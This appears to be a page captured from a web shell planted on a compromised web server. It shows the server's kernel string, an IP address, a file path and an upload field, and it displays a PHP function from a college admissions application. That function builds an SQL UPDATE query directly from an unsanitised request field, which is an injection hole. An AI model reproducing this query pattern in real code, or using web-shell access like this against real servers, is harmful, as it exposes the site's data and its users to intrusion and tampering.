0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.152.49


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/uDeleteSpecificCollege.php

<?php

function uDeleteSpecificCollege($aobj_context)
{
   
   $req = $aobj_context->req_body;
    $FCOLLCODE = $req['FCOLLCODE'];

    $query="update college set FDELETED='T' where fcollcode={$FCOLLCODE}";
    $result = $aobj_context->pobj_db->Execute($query);
    
    if (!$result) {
        $arr['msg'] = 'Insertion / Updation Failed';
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
        return;
    }
    else {
          $resultObj = "";
          $resultObj->error_code=0;
          $resultObj->status="success";
          echo json_encode($resultObj);
    }
}




?>